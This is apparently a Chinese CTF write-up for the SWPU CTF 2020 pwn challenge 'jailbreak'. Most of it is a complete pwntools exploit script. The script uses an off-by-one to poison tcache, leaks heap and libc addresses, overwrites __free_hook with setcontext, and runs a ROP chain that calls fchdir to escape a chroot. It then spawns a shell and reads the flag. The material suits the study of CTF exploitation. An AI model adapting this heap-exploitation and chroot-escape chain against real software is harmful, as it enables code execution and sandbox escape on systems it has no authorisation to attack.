jailbreak

发表于 2021-03-05 更新于 2021-03-15 分类于 Challenge， 2020， SWPU CTF 2020， Pwn
Challenge | 2020 | SWPU CTF 2020 | Pwn | jailbreak

点击此处获得更好的阅读体验

WriteUp来源

官方WP

解题思路

通过off by one实现tcache attack，修改money。

从而获得dup的fd，通过劫持tcache结构体（中间可能需要修复tcache_num），劫持__free_hook为setcontext，执行chdir(fd)来实现chroot逃逸。

```
# -*- coding: utf-8 -*-
import sys
import os
from time import *
from pwn import *
#log_level['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
context.log_level = b"CRITICAL"
remote_ip        = b'127.0.0.1'
remote_port      = 9999
binary_file      = './%s' % "jailbreak"
#context.terminal = ['tmux', 'splitw', '-h']
local_libc_file  = b'./libc-2.27.so'
remote_libc_file = b''
def exploit(sh,remote = False,awd = False,awd_binary_file = ''):
global binary_file,local_libc_file,remote_ip,remote_port,local_libc_file,remote_libc_file
elf = context.binary
if (awd or remote) and remote_libc_file != "":
lib = ELF(remote_libc_file)
else:
lib = elf.libc if local_libc_file == b"" else ELF(local_libc_file)
s       = lambda data               :sh.send(str(data))
sa      = lambda delim,data         :sh.sendafter(str(delim), str(data))
sl      = lambda data               :sh.sendline(str(data))
sla     = lambda delim,data         :sh.sendlineafter(str(delim), str(data))
r       = lambda numb=4096          :sh.recv(numb)
ru      = lambda delims, drop=True  :sh.recvuntil(delims, drop)
irt     = lambda                    :sh.interactive()
uu32    = lambda data               :u32(data.ljust(4, b'\x00'))
uu64    = lambda data               :u64(data.ljust(8, b'\x00'))
ru7f    = lambda                    :u64(sh.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
ruf7    = lambda                    :u32(sh.recvuntil("\xf7")[-4:].ljust(4,b'\x00'))
lg      = lambda data               :log.success(data)
def add(name_size,description_size):
sla("Action:","B")
sla("Item name size:",str(name_size))
sla("Item description size:",str(description_size))
def edit(idx,name,description):
sla("Action:","M")
sla("idx:",str(idx))
if name != "":
sla("Modify name?[y/N]","y")
sa("new name:",str(name))
else:
sla("Modify name?[y/N]","n")
if description != "":
sla("Modify description?[y/N]","y")
sa("new description:",str(description))
else:
sla("Modify description?[y/N]","n")
def free(idx):
sla("Action:","S")
sla("idx:",str(idx))
def show():
sla("Action:","W")
def backdoor():
sla("Action:","\xFF")
sla("Action[y/N]",'y')
add(0x18,0x18)
add(0x18,0x18)
edit(0,'\x11' * 0x18 + "\n",'\x12' * 0x18 + "\n")
free(0)
add(0x18,0x18)
show()
ru("Item name: ")
heap_base = uu64(r(6)) - 0x280
edit(0,'\x13' * 0x18 + "\n",'\x14' * 0x18 + p8(0x41))
free(0)
add(0x18,0x29)
free(1)
edit(0,'\x13' * 0x18 + "\n", '\x14' * 0x18 + p64(0x21) + p64(heap_base + 0x250 + 0x10) + "\n" )
free(0)
```

```
add(0x18,0x18)
add(0x18,0x18)
edit(1,'\x15' * 0x18 + "\n",p64(0xcafecafe) + "\n")
backdoor()
ru("secret:")
dir_fd = int(ru("\n").strip(),10)
add(0x28,0x28)
add(0x28,0x28)
edit(2,'\x16' * 0x28 + p8(0x51),"\n")
free(2)
add(0x28,0x48)
free(3)
edit(2,'\x16' * 0x28 + "\n",'a' * 0x28 + p64(0x31) + p64(heap_base + 0x010) + "\n")
add(0x28,0x28)
add(0x28,0x38)
edit(4,p64(0x0800000000000000) + "\n",p64(0xcafecafecafecafe) + "\n")
add(0x38,0x38)
add(0x38,0x38)
edit(5,'\x15' * 0x38 + p8(0x91),'\x16' * 0x18 + '\n')
edit(6,'\n',p64(0) + p64(0x31) + "\n")
free(5)
add(0x38,0x38)
show()
ru("Item idx: 5")
ru("description: ")
main_arena = uu64(r(6)) - 224
libc = main_arena - 0x10 - lib.symbols[b'__malloc_hook']
lib.address = libc
system = lib.symbols[b'system']
binsh = lib.search(b"/bin/sh\x00").next()
__free_hook = lib.symbols[b'__free_hook']
__malloc_hook = lib.symbols[b'__malloc_hook']
pop_rdi_ret = libc + 0x000000000002155f
pop_rsi_ret = libc + 0x0000000000023e8a
pop_rdx_ret = libc + 0x0000000000001b96
pop_rdx_rsi_ret = libc + 0x0000000000130889
ret = libc + 0x00000000000008aa
add(0x38,0x38)
free(6)
edit(7,p64(heap_base + 0x60) + "\n",p64(0xcafecafecafecafe) * 4 + p64(0x3c0 + heap_base) + p64(ret) + "\n")
add(0x38,0x48)
add(0x38,0x48)
edit(8,p64(0xdeadbeefdeadbeef) + "\n",p64(lib.sym['__free_hook']) + "\n")
edit(4,p64(0x0800000000010000) + "\n",p64(0xcafecafecafecafe) + "\n")
add(0x38,0x48)
edit(9,p64(lib.sym['setcontext'] + 53) + "\n",'\n')
edit(5,p64(pop_rdi_ret) + p64(0) + p64(pop_rdx_rsi_ret) + p64(0x1000)+ p64(heap_base + 0x3b0) + p64(lib.sym['read'])+"\n",'\n')
free(7)
payload = 'a' * 64
payload += p64(pop_rdi_ret) + p64(dir_fd)
payload += p64(lib.sym['fchdir'])
payload += p64(pop_rdi_ret) + p64(binsh)
payload += p64(ret)
payload += p64(system)
sl(payload)
sleep(0.5)
sl("echo deadbeef && cd ../ && cat flag.txt")
ru("deadbeef")
irt()
def CTF_exploit(argv):
global remote_ip,remote_port,binary_file
argv_len = len(argv)
context.log_level = b"DEBUG"
context.binary = binary_file
if argv_len == 1:
sh = process(binary_file)
exploit(sh)
return
elif argv_len == 3:
sh = remote(argv[1],argv[2])
exploit(sh,remote = True)
return
else:
sh = process(binary_file)
exploit(sh)
if __name__ == b"__main__":
CTF_exploit(sys.argv)
```


Challenge # 2020 # Pwn # SWPU CTF 2020
corporate_slave
耗子尾汁